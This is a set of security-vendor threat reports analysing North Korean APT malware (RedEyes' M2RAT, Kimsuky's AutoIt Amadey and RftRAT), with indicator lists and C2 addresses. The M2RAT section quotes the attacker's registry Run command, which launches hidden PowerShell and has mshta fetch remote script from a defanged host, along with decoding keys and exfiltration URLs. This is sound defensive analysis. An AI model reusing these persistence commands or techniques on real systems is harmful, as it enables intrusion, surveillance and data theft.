7b40aa57e1c61ecd6db2a1c18e08b0af 3665d512be2e9d31fc931912d5c6900e Network Scan 1aca4310315d79e70168f15930cc3308 5e0845a9f08c1cfc7966824758b6953a 9b0e4652a0317e6e4da66f29a74b5ad7 d8d36f17b50c8a37c2201fbb0672200a b998a39b31ad9b409d68dcb74ac6d97d d5054ed83e63f911be46b3ff8af82267 e7b7bf4c2ed49575bedabdce2385c8d5 f01a9a2d1e31332ed36c1a4d2839f412 d4d8c9be9a4a6499d254e845c6835f5f FRP 4eb5eb52061cc8cf06e28e7eb20cd055 0cc22fd05a3e771b09b584db0a161363 8de8dfcb99621b21bf66a3ef2fcd8138 df8f2dc27cbbd10d944210b19f97dafd 2866f3c8dfd5698e7c58d166a5857e1e 15/17 cbee2fd458ff686a4cd2dde42306bba1 3dc8b64b498220612a43d36049f055ab 31c4a3f16baa5e0437fdd4603987b812 b33a27bfbe7677df4a465dfa9795ff4a 7d9c233b8c9e3f0ea290d2b84593c842 c4f18576fd1177ba1ef54e884cb7a79d 5d33609af27ea092f80aff1af6ddf98d 622f060fce624bdca9a427c3edec1663 1f2432ec77b750aa3e3f72c866584dc3 d331602d190c0963ec83e46f5a5cd54a 21d268341884c4fc62b5af7a3b433d90 FRP_INI 6a20945ae9f7c9e1a28015e40758bb4f a29f39713ce6a92e642d14374e7203f0 7ce988f1b593e96206a1ef57eb1bec8a fc9abba1f212db8eeac7734056b81a6e 9f55b31c66a01953c17eea6ace66f636 33129e959221bf9d5211710747fddabe 48b99c2f0441f5a4794afb4f89610e48 28e026b9550e4eb37435013425abfa38 2ceabffe2d40714e5535212d46d78119 c72750485db39d0c04469cd6b100a595 68403cc3a6fcbeb9e5e9f7263d04c02f 52ff6e3e942ac8ee012dcde89e7a1116 d82481e9bc50d9d9aeb9d56072bf3cfe 22381941763862631070e043d4dd0dc2 6b5bccf615bf634b0e55a86a9c24c902 942d949a28b2921fb980e2d659e6ef75 059d98dcb83be037cd9829d31c096dab cca50cdd843aa824e5eef5f05e74f4a5 f6f0d44aa5e3d83bb1ac777c9cea7060 0ca345bc074fa2ef7a2797b875b6cd4d f6da8dc4e1226aa2d0dabc32acd06915 0bbfaea19c8d1444ae282ff5911a527b LCX a69d3580921ec8adce64c9b38ac3653a c4e39c1fc0e1b165319fa533a9795c44 fb6bf74c6c1f2482e914816d6e97ce09 678dbe60e15d913fb363c8722bde313d Proxies etc. e0f4afe374d75608d604fbf108eac64f f5271a6d909091527ed9f30eafa0ded6 ae8acf66bfe3a44148964048b826d005 Lateral Movement 6983f7001de10f4d19fc2d794c3eb534 fcb7f7dab6d401a17bd436fc12a84623 Information Collection and Credential Theft bb8bdb3e8c92e97e2f63626bc3b254c4 80f421c5fd5b28fc05b485de4f7896a1 a03b57cc0103316e974bbb0f159f78f6 46f366e3ee36c05ab5a7a319319f7c72 7bd775395b821e158a6961c573e6fd43 b434df66d0dd15c2f5e5b2975f2cfbe2 16/17 c17cfe533f8ce24f0e41bd7e14a35e5e Backdoor 011cedd9932207ee5539895e2a1ed60a bc744a4bf1c158dba37276bf7db50d85 23c0500a69b71d5942585bb87559fe83 53271b2ab6c327a68e78a7c0bf9f4044 c87ac56d434195c527d3358e12e2b2e0 C2 and URL (Abused Korean company servers are not listed) Download C2 91.217.139[.]117 Upload C2 205.185.122[.]95 91.217.139[.]117 FRP & LCX C2 hxxp://sk1.m00nlight[.]top:80 (45.136.186.19) //MOACK_Co_LTD company server hxxps://fk.m00nlight[.]top:443 (45.136.186.175:443) //MOACK_Co_LTD company server hxxps://aa.zxcss[.]com:443 (45.93.31.122) //MOACK_Co_LTD company server 45.93.31[.]75:7777 //MOACK_Co_LTD company server 45.93.28[.]103:8080 //MOACK_Co_LTD company server 103.118.42[.]208 101.43.121[.]50 Backdoor C2 45.93.31[.]75 //MOACK_Co_LTD company server Subscribe to AhnLab s next-generation threat intelligence platform AhnLab TIP to check related IOC and detailed analysis information. Categories:Malware Information Tagged as:AntSword,APT,AspxSpy,BadPotato,BitLocker,Bitsadmin,Blueshell,certutil,Chopper,CobaltStrike,conf.aspx,CVE-2017-10271,CVE2018-8639,CVE-20191458,Dalbit,duhgghmpert.dmp,Dumpert,EFSPotato,ff0.123456,FRP,FSCAN,Godzilla,Gotohttp,HTRAN,JuicyPotato,Ladon,LCX,m00nlight,ma in,Mimikatz,NPS,NTLTEST,ProcDump,RDP,ReGeorg,RottenPotato,Rsync,SweetPotato,WebLogic,xp_cmdshell 17/17 HWP Malware Using the Steganography Technique: RedEyes (ScarCruft) asec.ahnlab.com/en/48063 By muhan February 21, 2023 In January, the ASEC (AhnLab Security Emergency response Center) analysis team discovered that the RedEyes threat group (also known as APT37, ScarCruft) had been distributing malware by exploiting the HWP EPS (Encapsulated PostScript) vulnerability (CVE-2017-8291). This report will share the RedEyes group s latest activity in Korea. 1. Overview The RedEyes group is known for targeting specific individuals and not corporations, stealing not only personal PC information but also the mobile phone data of their targets. A distinct characteristic of the latest RedEyes group attack is the fact that they exploited the HWP EPS vulnerability using the steganography technique to distribute their malware. The HWP EPS vulnerability used in the attacks is an old vulnerability that has already been patched in the latest version of the Hangul Word Processor. We assume that the threat actor initiated their attacks after checking in advance if their targets (individuals) were using an older version of HWP that supports EPS. Furthermore, there is a confirmed past case where the RedEyes group used the steganography technique to distribute malware. In 2019, Kaspersky shared a report saying that the ScarCruft (RedEyes) group s downloader used the steganography technique to download additional malware. The usage of the steganography technique to download malware and the RUN key command for autorun registration to establish a consistent connection with the C&C server being similar to the format used by the RedEye group in the past are the reasons why we believe they had done this attack. The RedEyes group is also known for using Powershell and the Chinotto malware to steal PC information and remote control systems. However, a new malware strain was found in the latest attack which, unlike Chinotto, uses the shared memory section to carry out C&C commands. Regarding the newly identified malware, the ASEC analysis team named it M2RAT (Map2RAT) after the name found in the shared memory section. Figure 1. Shared memory section name info This report covers the TTPs (Tactics, Techniques, and Procedures) of the RedEyes group s initial access, defense evasion, persistence, and the newly identified M2RAT s latest command control and exfiltration. 1/13 Figure 2. Flow chart of the attack scenario 2. Analysis 2.1. Initial Access On January 13, an HWP EPS vulnerability (CVE-2017-8291) attack involving the usage of the filename Form.hwp was discovered by AhnLab s ASD (AhnLab Smart Defense). The HWP document was not collected at the time of the analysis, but we were able to procure the EPS file that triggered the aforementioned vulnerability. Figure 3. ASD infrastructure log EPS is a type of graphic format that uses the PostScript programming language by Adobe to show graphics. Highresolution vector images can be shown through EPS and the Hangul Word Processor supported a third-party module (ghostscript) to process EPS files. However, due to an increase in malicious EPS vulnerability exploitations, such as APT attacks, Hancom has removed the third-party EPS processing module. Additionally, the ASEC analysis team posted a detailed analysis report on the CVE-2017-8291 vulnerability back in 2019. The Form.hwp file includes a vulnerable EPS file (CVE-2017-8291) which is shown in Figure 4. When the user opens the file ( Form.hwp ), the vulnerability allows the threat actor s shellcode to run through the third-party module. Figure 4. EPS vulnerability code within Form.hwp 2/13 Figure 5. Stage 1: Shellcode execution through EPS vulnerability The shellcode downloads an image file (JPEG) from the threat actor s server (C&C) and decrypts the encoded PE file contained within the image file. Afterward, it creates the PE file in the %temp% path before executing it. 2.2. Defense Evasion The shellcode downloaded an image file from the threat actor s server and executed an additional piece of malware. In other words, the threat actor used the steganography technique to embed a malware strain within an image. We assume that this was done to evade network detection. It appears that the steganography image file used by the threat actor was obtained from a wallpaper-sharing website called wallup.net 3/13 Figure 6. Steganography image file The image file consists of a normal JPEG header, the meta data required for decoding the PE file (XOR key and file size), and the encoded PE file. Figure 7. Configuration info of steganography image A 16-byte XOR key is used for PE decoding to XOR 1 byte at a time. 4/13 16-byte xor key : FD DD 28 F5 7C 48 8E 7E 0C E0 17 77 35 87 3B 49 (0xFD xor 0xB0) = 0x4D (M) (0xDD xor 0x87) = 0x5A (Z) (0x28 xor 0xB8) = 0x90 (0xF5 xor 0xF5) = 0x00 (* MZ is the signature of the PE file.) The ultimately decoded PE file is created and executed under the name lskdjfel.exe in the %temp% path. The executed PE file is responsible for downloading an additional backdoor malware (M2RAT), injecting it into explorer.exe, and adding both Powershell and mshta commands to the autorun registry Run key to establish a persistent connection with the threat actor s server. 2.3. Persistence The executed lskdjfel.exe file registers the following command to the registry Run key to establish a persistent connection with the threat actor s server. Registry key path: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Value name: RyPO Value: c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 340328 2.2.2.2 || mshta hxxps://www.*****elearning.or[.]kr/popup/handle/1.html Figure 8. Stage 2: Execution of the decrypted PE file (Backdoor download and ensuring persistence) The command registered to the registry Run key was found to be similar to that of the ScarCruft (RedEyes) group report published by Kaspersky in 2021. [ScarCruft s registry Run key command in 2021 (by Kaspersky)] c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 300000 2.2.2.2 || mshta hxxp://[redacted].cafe24[.]com/bbs/probook/1.html 5/13 [RedEyes (ScarCruft) registry Run key command in 2023] c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 340328 2.2.2.2 || mshta hxxps://www.*******elearning.or[.]kr/popup/handle/1.html Whenever the affected host PC is booted up, the registry key causes Powershell and the normal Windows utility, mshta, to also be executed. At the time of analysis, an HTA (HTML Application) file containing a JS (JavaScript) code was collected from the 1.html file that mshta had downloaded from the threat actor s server. The JS code is responsible for executing the Powershell command, which receives and executes commands from the threat actor s server, and returns the results. When the Powershell adds a parameter to the threat actor s server address when transmitting the computer name and username, the threat actor s server encodes the CMD command that is going to be executed in BASE64 before sending it to the affected host. The encoded BASE64 command is then decoded by Powershell and executed. The result of the command is saved as a file in the %temp%\vnGhazwFiPgQ path. Afterward, an parameter is added to the threat actor s server which then encodes the command execution result in BASE64 before sending it. hxxps://www.*******elearning.or[.]kr/popup/handle/log.php? U=[Computer Name]+[Username] // Receive the threat actor s command hxxps://www.*******elearning.or[.]kr/popup/handle/log.php? R=[BASE64-encoded] // Send command execution result 6/13 Figure 9. Persistence-related Powershell code 2.4. M2RAT (Map2RAT) The ultimately executed backdoor operates after being injected into explorer.exe. The main features of this backdoor are similar to those of basic remote control malware, which include keylogging, data leakage (files and recordings), running or terminating processes, and capturing screenshots. 7/13 Figure 10. Stage 3: Execution of M2RAT backdoor However, the recently discovered backdoor has a different command system compared to the previously identified Chinotto malware. It does not save the keylogging data or screenshot logs in the affected system but instead sends them to the threat actor s server, leaving no traces of the stolen data in the affected system. The ASEC analysis team named this newly identified malware M2RAT ( Map2 RAT) after the common name within the shared memory section used during C&C communication. FileInput Map2 ProcessInput Map2 CaptureInput Map2 RawInput Map2 RegistryModuleInput Map2 TypingRecordInput Map2 UsbCheckingInput Map2 2.4.1. Command and Control of M2RAT M2RAT s C&C communications command system involves receiving commands from the threat actor s server through the POST method s Body. The meaning of these command can be found in the below Table 1. 8/13 Figure 11. Screenshot of M2RAT s C&C communications (Fiddler) C&C Command Description Command received upon initial connection with C&C communications Edits the registry key value to update the C&C Updates the currently connected C&C Ends C&C connection (End M2RAT) Ends C&C connection (End M2RAT) Performs remote control commands (Keylogging and process creation/execution) Table 1. Description of threat actor s commands M2RAT s threat actor server manages hosts with MAC addresses in order to distinguish affected hosts. When infected with M2RAT, the MAC address is encoded (XOR) with 0x5c and saved in the HKCU\Software\OneDriver path Version value. The encoded MAC address value is used to distinguish affected hosts in the threat actor s server. Registry key path: HKCU\Software\OneDriver Value name: Version Value: Value that XOR-encoded (0x5c) MAC address of the affected host The result value of the command sent by the threat actor to the affected host is saved in the _Encoded MAC Address Value_2 folder of the threat actor s server. The screenshots taken by M2RAT from the affected host are saved in the _Encoded MAC Address Value_cap folder. (Refer to Figure 12) Figure 12. Threat actor s server (Example) (The server screen in Figure 12 is a screen created by AhnLab s analysis system to resemble the threat actor s web server.) 9/13 Additionally, M2RAT XOR encodes with 0x5c and saves the threat actor s server address info in the Property value of the same registry key path as the MAC address. Registry key path: HKCU\Software\OneDriver Value name: Property Value: Value that XOR-encoded (0x5c) threat actor s server address In the future, the threat actor can transmit the and commands to M2RAT to update their server address (Refer to Table 1). The command is used to update the registry key with a new address and the command is used to change the threat actor s address defined in the currently running instance of M2RAT. The remote control command of M2RAT is established by transmitting CMD commands from the threat actor s server. The Chinotto malware, which was confirmed to have been used by the RedEyes group in the past, executed remote control commands through the Query String method, but M2RAT creates a shared memory section to execute the commands from the threat actor s server. Like the threat actor s use of the steganography technique in the initial breach stage, this appears to also be for the purpose of evading network detection by hiding the command info in the Body of the POST. (* Query String: A string that starts with a question mark at the end of a URL) The CMD command is transmitted through the shared memory. The memory section name info is shown below in Table Section Name Feature RegistryModuleInputMap2 Transmits additional module execution results (e.g. Mobile phone data leak module) FileInputMap2 Explores drives (A:\ Z:\), create/write files, and changes file time CaptureInputMap2 Screenshots the current screen of the affected host s PC ProcessInputMap2 Checks the process list, create/terminate processes RawInputMap2 Use ShellExectueExW API to run process TypingRecordInputMap2 Leaks keylogging data UsbCheckingInputMap2 USB data leak (hwp, doc, docx, xls, xlsx, ppt, pptx, cell, csv, show, hsdt, mp3, amr, 3gp, m4a, txt, png, jpg, jpeg, gif, pdf, eml) Table 2. Features of the shared memory section 2.4.2. Exfiltration M2RAT s exfiltration features include screenshots of the affected host s screen, process information, keylogging information, and data (documents and voice files) leaks. In the case of screenshots, they are taken regularly even if a command is not given by the threat actor. They are then sent to the threat actor s server where they are saved as result_[number] in the _Encoded MAC Address Value_cap folder. The remaining data leaks are saved in the _Encoded MAC Address Value_2 folder. If there are documents or voice recordings with sensitive data in removable storage devices or shared folders, then these are copied into the %TEMP% path, compressed into a password-protected file with Winrar (RAR.exe), and the results are then transmitted to the threat actor s server. Folder path where data is copied to: %Temp%\Y_%m_%d_%H_%M_%S // (e.g. %TEMP%\Year_Month_Date _Hour_Minute_Second) File extensions: hwp, doc, docx, xls, xlsx, ppt, pptx, cell, csv, show, hsdt, mp3, amr, 3gp, m4a, txt, png, jpg, jpeg, gif, pdf, eml 10/13 The RAR.exe options that are used are as follows. The path the compressed file is created into is the same as the %TEMP% folder path. a -df -r -hp dgefiue389d@39r#1Ud -m1 Compressed file creation path Compression target path Option Name Description Compress Delete file after compression Recover compressed file Encrypt file data and header Set compression level Table 3. Explanation of RAR compression options The ASEC analysis team was also able to uncover through the ASD (AhnLab Smart Defense) infrastructure an Infostealer communicating with M2RAT. This malware was identified as a .NET file that steals files saved on mobile phones and sends them to the RegistryModuleResultMap2 shared memory section of M2RAT. Figure 13. Code that transmits exfiltrated data to M2RAT 11/13 Figure 14. Mobile phone data theft target (file extension) info The .NET file s PDB info is as follows. PDB : E:\MyWork\PhoneDataCp\PhoneDeviceManager\PhoneDeviceManager\obj\x86\Release\PhoneDeviceManager.pdb 3. Conclusion 12/13 The RedEyes group is an APT hacking organization that is supported on a national level. They are known to attack individual targets such as human rights activists, reporters, and North Korean defects. Their aim appears to be exfilitration. Defending against such APT attacks is an extremely complicated process. Especially since the RedEyes group is known to target individuals instead of corporations. It is difficult for individuals to even realize they have been affected. The ASEC analysis team is closely tracking this group. Should a new TTPs be found from this threat actor, we will quickly share the details as we did in this blog post to contribute towards minimizing damage. 4. IOC [MD5 (Detection name, engine version)] 8b666fc04af6de45c804d973583c76e0 // EPS file Exploit/EPS.Generic (2023.01.16.03) 93c66ee424daf4c5590e21182592672e // Steganography JPEG Data/BIN.Agent (2023.02.15.00) 7bab405fbc6af65680443ae95c30595d // PE file(JPEG) Stage PE file Trojan/Win.Loader.C5359534 (2023.01.16.03) 9083c1ff01ad8fabbcd8af1b63b77e66 // Powershell script Downloader/PS.Generic.SC185661 (2023.01.16.03) 4488c709970833b5043c0b0ea2ec9fa9 // M2RAT Trojan/Win.M2RAT.C5357519 (2023.01.14.01) 7f5a72be826ea2fe5f11a16da0178e54 // Mobile phone data theft Infostealer/Win.Phone.C5381667 (2023.02.14.03) 5. References Categories:Malware Information Tagged as:APT37,M2RAT,MaptoRAT,RedEyes,ScarCruft 13/13 Kimsuky Group Uses AutoIt to Create Malware (RftRAT, Amadey) asec.ahnlab.com/en/59590 By Sanseo December 8, 2023 Overview Initial Access . 2.1. Spear Phishing Attack . 2.2. LNK Malware Remote Control Malware . 3.1. XRat (Loader) . 3.2. Amadey . 3.3. Latest Attack Cases .. 3.3.1. AutoIt Amadey .. 3.3.2. RftRAT Post-infection . 4.1. Keylogger . 4.2. Infostealer . 4.3. Other Types Conclusion 1. Overview The Kimsuky threat group, deemed to be supported by North Korea, has been active since 2013. At first, they attacked North Korea-related research institutes in South Korea before attacking a South Korean energy corporation in 2014. Cases of attacks against countries other than South Korea have also been identified since 2017. [1] The group usually employs spear phishing attacks against the national defense sector, defense industries, the press, the diplomatic sector, national organizations, and academic fields to steal internal information and technology from organizations. [2] (This link is only available in Korean.) Even until recently, the Kimsuky group was still mainly employing spear phishing attacks to gain initial access. What makes the recent attacks different from the previous cases is that more LNK shortcut-type malware are being used instead of malware in Hangul Word Processor (HWP) or MS Office document format. The threat actor led users to download a compressed file through attachments or download links within spear phishing emails. When this compressed file is decompressed, it yields a legitimate document file along with a malicious LNK file. ASEC is monitoring the Kimsuky group s attacks using LNK-type malware and is continuously posting identified cases of attacks on the ASEC Blog. The Kimsuky group installs remote control malware to control the infected system after completing such steps to 1/20 gain initial access. Malware used by the Kimsuky group not only include custom-made such as AppleSeed and PebbleDash [3], but also open-source or commercial malware such as XRat [4], HVNC [5], Amadey [6], and Metasploit Meterpreter [7]. After gaining control, the threat actor ultimately uses RDP or installs Google s Chrome Remote Desktop [8] to exfiltrate information from the infected system. Here we analyze Amadey and RftRAT which were recently found being distributed. Amadey and RftRAT were constantly used throughout 2023 alongside XRat. However, recent types showed that they were created with AutoIt. This post also covers Infostealers additionally installed by the Kimsuky group using remote control malware. While remote control-type malware continuously change, the malware installed through these have not changed much in the attacks in 2023. 2. Initial Access 2.1. Spear Phishing Attack In the year 2023, ASEC covered cases of LNK malware distribution in posts such as Malicious LNK File Disguised as a Normal HWP Document [9], Malicious LNK File Being Distributed, Impersonating the National Tax Service [10], and Distribution of Malicious LNK File Disguised as Producing Corporate Promotional Materials [11]. By attaching files or including download links in the emails, the threat actor prompted users to download the compressed file and execute the LNK shortcut file inside. 2/20 Figure 1. LNK malware included in compressed files 2.2. LNK Malware The LNK file contains an encrypted compressed file, which in turn holds various malware in script format. 3/20 Figure 2. Malware in script format contained within LNK files Executing the LNK file decompresses the file, and ultimately, the script malware is run. The BAT and VBS scripts inside can either be used for executing other scripts or contain an Infostealer responsible for collecting and exfiltrating information from the infected system. There is also a script for maintaining persistence as well as a downloader that downloads and executes additional payloads from an external source. As such, malware in script format that run in infected systems install additional malware from an external source, major examples of which are backdoors called XRat, Amadey, and RftRAT. While these malware are all packed with VMP when in distribution, recently, Amadey and RftRAT variants created with AutoIt have been used. After a remote control malware is installed, keyloggers and Infostealers are installed to steal internal information and technology from the organizations. 3. Remote Control Malware 3.1. XRat (QuasarRAT) XRat is a RAT malware developed in .NET and was created based on QuasarRAT published on GitHub. It was confirmed that the Kimsuky group was using XRat from a much earlier point in time. Recently, instead of in independent executable or DLL file formats, this is being used in attacks as an encrypted payload. It consists of the file ht.dll which is the loader, the data file htsetting.ini holding the configuration data, and an encrypted payload. This method seems to be for the purpose of bypassing security products. 4/20 The loader reads, decrypts, and injects the htsetting.ini file located in the same path. All ht.dll loaders identified so far were packed with VMP, and the decrypted binary contained the following strings used by the threat actor. Figure 3. Loader ht.dll packed with VMP The configuration file contains the name of the actual encrypted malware, the RC4 decryption key, and information on the legitimate file to inject into. Ht.dll references this information to read and decrypt the encrypted file before injecting it into a legitimate process. The payload that is injected and run in the end can be another malware besides XRat, depending on the encrypted file. 3.2. Amadey The Kimsuky group also used Amadey Bot in their attacks. Amadey is a malware that began being sold on illegal forums. It is a downloader that installs additional malware from the C&C server. Besides such downloader features, it can also transmit basic information about the system or exfiltrate screenshots and account credentials saved in web browsers and email clients depending on the settings or whether certain plugins are installed. The Kimsuky group uses a dropper to install Amadey. This dropper, in DLL format, creates a randomly named hidden folder in the %PUBLIC% path where it drops the files it holds. The compressed file containing the actual Amadey is among the created files, and examining the compression size shows this file to be large, exceeding 300 MB. This is also presumed to be an attempt to evade security products by intentionally increasing the size. 5/20 Figure 4. Amadey-related files created in the Public path Afterward, it creates the path %ALLUSERSPROFILE%\Startup and registers it to the Startup folder. Here, a script named svc.vbs is created, which is responsible for maintaining persistence. Amadey, which is loaded and executed through the Rundll32.exe process, goes through svchost.exe before being injected into the iexplore.exe process and run. Figure 5. The infected system s information transmitted to the C&C server Even in 2023, the threat actor installed Amadey in many of their attacks, and in most instances, it was installed by the same type of dropper. Said dropper also included RftRAT besides Amadey. RftRAT, like Amadey, also has a file size exceeding 300 MB. The RftRAT instances identified in these attacks were all packed with VMP like Amadey and were found to contain the keyword RFTServer in the decrypted strings. RftRAT is a backdoor that can receive commands from the C&C server and execute them. 6/20 Figure 6. Decrypted strings in RftRAT 3.3. Latest Attack Cases It was recently identified that the Kimsuky group has been using AutoIt to create malware. The Kimsuky group ported Amadey which had been used from the past to AutoIt and also used it for the purpose of injecting RftRAT. In past attack cases, only the debug string RFTServer was found, but in recent attacks, a malware containing a PDB path was found. The string within the PDB path shows that the threat actor named this malware as a RAT type. Accordingly, said malware is categorized as RftRAT here. Figure 7. RftRAT s PDB information PDB String: E:_WORK\My_Work\Exploit\Spyware_spy\RAT\RFT_Socket_V3.2\Release\rft.pdb 3.3.1. AUTOIT AMADEY As covered above, Amadey is one of the malware that has been constantly used by the Kimsuky group. The version of Amadey used by the Kimsuky group is different from the type used by other threat actors: Kimsuky group s Amadey uses Domain Generation Algorithms 7/20 (DGA), and when it scans for antivirus software installed in the infected system, it also searches for product names from South Korean companies. The recently identified Amadey is ported into the AutoIt language and has the same format as the types identified in the past attack cases. The threat actor installed both a legitimate AutoIt executable file and a compiled AutoIt script in the infected system. The compiled AutoIt script is 100 MB in size for the purpose of hindering analysis and contains dummy data as shown below. Figure 8. The compiled AutoIt script file used in the attacks Although written in a different language, the decrypted AutoIt script can be considered to be the Amadey malware. The HTTP request structure for sending the system information collected from the infected system to the C&C server is identical to that of the typical Amadey. Figure 9. The structure of the HTTP packet that Amadey sends to the C&C server Besides this, it also has a routine for checking for products from South Korean companies when retrieving the list of antivirus products installed in the infected system. Furthermore, it supports the feature to download additional payloads in not only an exe format, but also dll, PowerShell, vbs, and js formats. 8/20 Figure 10. The script where Amadey s routine is implemented As mentioned above, the Amadey used by the Kimsuky group supports DGA. DGA, also known as Domain Generation Algorithm, dynamically generates a domain (C&C server address) instead of a fixed form. After dynamically obtaining the C&C server address based on the date, the Kimsuky group used this as a subsidiary C&C server. When the connection to the C&C server was down, the subsidiary C&C server generated through DGA was used for communication. Figure 11. Amadey s DGA 3.3.2. RFTRAT 9/20 The AutoIt scripts used in the attacks include Amadey and RftRAT. The AutoIt executable file and the malicious AutoIt script are also created through a dropper. The following ASD log shows the execution log of d015700.dll , which is the dropper that installs RftRAT, and the log showing RftRAT ultimately creating an Infostealer after being injected into svchost.exe. Additionally, AppleSeed, another malware used by the Kimsuky group, was additionally installed in the same system afterward. Figure 12. Kimsuky group s attack log The RftRAT used in previous attacks is in DLL format and packed in VMP, so an exact comparison is difficult. However, it was categorized into the past version of RftRAT due to the fact that the same library file is used, that ICMLuaUtil is used to bypass UAC, and that the path names used for saving C&C communication and command results are almost the same. 10/20 Figure 13. Strings in a past version of RftRAT similar to the latest version The compiled AutoIt script is similar to the Amadey in the case above, but it is actually an injector that executes svchost.exe and injects RftRAT into it. The ultimate payload RftRAT cannot be executed independently. Data must be read in from a mapped file named A1CCA2EC-C09F-D33C-4317-7F71F0E2A976_0 . The injector AutoIt script writes the paths of the AutoIt executable file and script into this file. Figure 14. The paths of AutoIt-related files transmitted through a file mapping process 11/20 The transmitted paths of the AutoIt executable file and script are used later on in the UAC bypassing stage. RftRAT uses the ICMLuaUtil interface of the CMSTPLUACOM component to bypass UAC and execute itself as administrator. After being run as administrator, RftRAT collects basic information about the infected system and sends it to the C&C server. Offset Data 0x0000 Signature (0x963DA7EF) 0x0004 Infected system s ID 0x0044 IP address 0x014 Computer name Table 1. Data delivered to the C&C server Figure 15. The packet used for communication with the C&C server Afterward, it receives commands from the C&C server. RftRAT writes the received commands to the path %APPDATA%\asc\t1.pb before decrypting them. Decryption yields the actual commands, which are written to the same file and reread to be executed. The command, the execution results, and the additionally downloaded file are created in the paths below. 12/20 Path Description %APPDATA%\asc\t1.pb Command downloaded from the C&C server %APPDATA%\asc\t2.ax Command execution results %APPDATA%\asc\t3.br File downloaded through the download command Table 2. Files generated during the C&C communication and command processes Command Description 0x00 Download file 0x01 Upload file (zip compressed) 0x02 Look up driver information 0x04 Change file name 0x05 Create directory 0x06 Delete file 0x07 Execute file (with UAC Bypass) 0x08 Look up process information 0x09 Terminate process 0x0A Reverse shell 0x0B Terminate process and delete file 0x12 Terminate 0x14 Wait Table 3. RftRAT s commands 4. Post-infection After taking control of the infected system, to exfiltrate information, the Kimsuky group installs various malware such as keyloggers and tools for extracting accounts and cookies from web browsers. The group also installs Mimikatz and RDP Wrapper, which have both been steadily used for many years. 4.1. Keylogger 13/20 The keylogger is usually installed in the path %ALLUSERSPROFILE%\startup\NsiService.exe . It persists in the system and monitors key input from the user, which is saved in the path %ALLUSERSPROFILE%\semantec\av\C_1025.nls %ALLUSERSPROFILE%\Ahn\av\C_1025.nls . Additionally, %ALLUSERSPROFILE%\semantec is a folder where the keylogger is installed, along with various malware covered in this article. 4.2. Infostealer Malware for collecting information from web browsers were created in the %ALLUSERSPROFILE%\semantec\ path under the names GBIA.exe GBIC.exe GBS.exe , and GPIA.dll . While most target account credentials and cookies saved in web browsers, there are types that collect files in the Local Extension Settings path, which is the configuration data related to Chrome extensions. Figure 16. Stealing account credentials from a web browser Besides these, the tool named GPIA.exe looks up all paths in the infected system and displays the files in each folder. Because the file containing the paths of all files is naturally large, it also allows this file to be split-compressed. 14/20 Figure 17. System path lookup tool 4.3. Other Types A notable fact about the Kimsuky group is that it often abuses RDP for information theft. Accordingly, it either installs RDP Wrapper or uses a patcher malware for multiple sessions. Recently, there was a discovery of a malware that monitors the login records of the user. This seems to be for the purpose of finding out when the user logs in to use RDP to connect during idle times. The file taskhosts.exe installed in the path %ALLUSERSPROFILE%\semantec\ is an injector that injects ipcheck.dll into the explorer.exe and runtimebroker.exe processes. ipcheck.dll monitors the user s log-on/log-off activities by hooking the WinStationQueryInformationW() and ExitWindowsEx() functions and the log is saved in the path %PUBLIC%\Log64.txt 15/20 Figure 18. Log-on and log-off records saved in the log file The threat actor also used proxy malware. Proxy tools in the past were run by receiving command line arguments, but the type used by Kimsuky reads and uses a configuration file named setting.ini . The port number 3389 configured in the default address indicates that it is likely to establish an RDP connection to a private network. Figure 19. Proxy malware 5. Conclusion 16/20 The Kimsuky threat group is continuously launching spear phishing attacks against South Korean users. Recently, malicious LNK files have been distributed to South Korean users with various topics, so users are advised to practice particular caution. The group usually employs the method of distributing malware through attachments or download links in emails. When a user executes them, the threat actor may be able to take control of the system that is currently in use. The Kimsuky group has been newly creating and using various malware to control infected systems and steal information. Recently, the group has been using AutoIt to create malware to bypass security products. Users must carefully check the senders of emails and refrain from opening files from unknown sources. It is also recommended to apply the latest patch for OS and programs such as Internet browsers and update V3 to the latest version to prevent such malware infection in advance. File Detection Downloader/Win.Amadey.R626032 (2023.11.30.00) Backdoor/Win.Agent.R626033 (2023.11.30.00) Downloader/Win.Amadey.C5462118 (2023.07.28.03) Trojan/AU3.Loader (2023.11.22.01) Dropper/Win.Agent.C5542993 (2023.11.17.02) Trojan/Win.Agent.C5430096 (2023.05.20.00) Infostealer/Win.Agent.R622445 (2023.11.17.02) Downloader/Win.Amadey.C5479015 (2023.08.31.01) Trojan/Win.Agent.C5485099 (2023.09.11.03) Trojan/Win.Agent.C5479017 (2023.08.31.01) Trojan/Win.Loader.C5479014 (2023.08.31.01) Trojan/Win.Agent.C5465186 (2023.11.30.00) Infostealer/Win.Agent.C5542999 (2023.11.17.02) Infostealer/Win.Agent.C5542997 (2023.11.17.02) Trojan/Win.Agent.C5451959 (2023.11.30.00) Trojan/Win.Agent.Prevention.C5446554 (2023.11.30.00) Trojan/Win.Agent.R589022 (2023.06.28.02) Trojan/Win.Loader.R588248 (2023.11.30.00) Trojan/Win.Agent.C5444839 (2023.11.30.00) Trojan/Win.Stealer.C5441397 (2023.11.30.00) Trojan/Win.KeyLogger.C5430090 (2023.05.20.00) Malware/Win.Generic.C5430065 (2023.11.30.00) Trojan/Win.Stealer.R579484 (2023.05.20.00) Trojan/Win.Loader.C5430091 (2023.05.20.00) Trojan/Win.KeyLogger.C5430092 (2023.05.20.00) 17/20 Trojan/Win.Loader.C5430099 (2023.05.20.00) Trojan/Win.Proxy.C5430093 (2023.05.20.00) Trojan/Win.Agent.C5430095 (2023.05.20.00) Behavior Detection Persistence/MDP.AutoIt.M4766 Injection/MDP.Hollowing.M4767 f5ea621f482f9ac127e8f7b784733514 : RftRAT Dropper AutoIt (d009086.dll) 7b6471f4430c2d6907ce4d349f59e69f : Amadey AutoIt Script (adal.au3) 14a7f83d6215a4d4c426ad371e0810a2 : RftRAT AutoIt Script (run.au3) 74d5dac64c0740d3ff5a9e3aca51ccdf : RftRAT AutoIt Script (chkdisc.au3) a7c9b4d70e4fad86598de37d7bf1fe96 : RftRAT AutoIt Script (run.au3) 32696d9e1e72affaf8bc707ab271200d : Loader (ht.dll) 4b667f7ea5bdc9d872774f733fdf4d6a : Loader (ht.dll) 7f582f0c5c9a14c736927d4dbb47c5fa : Loader 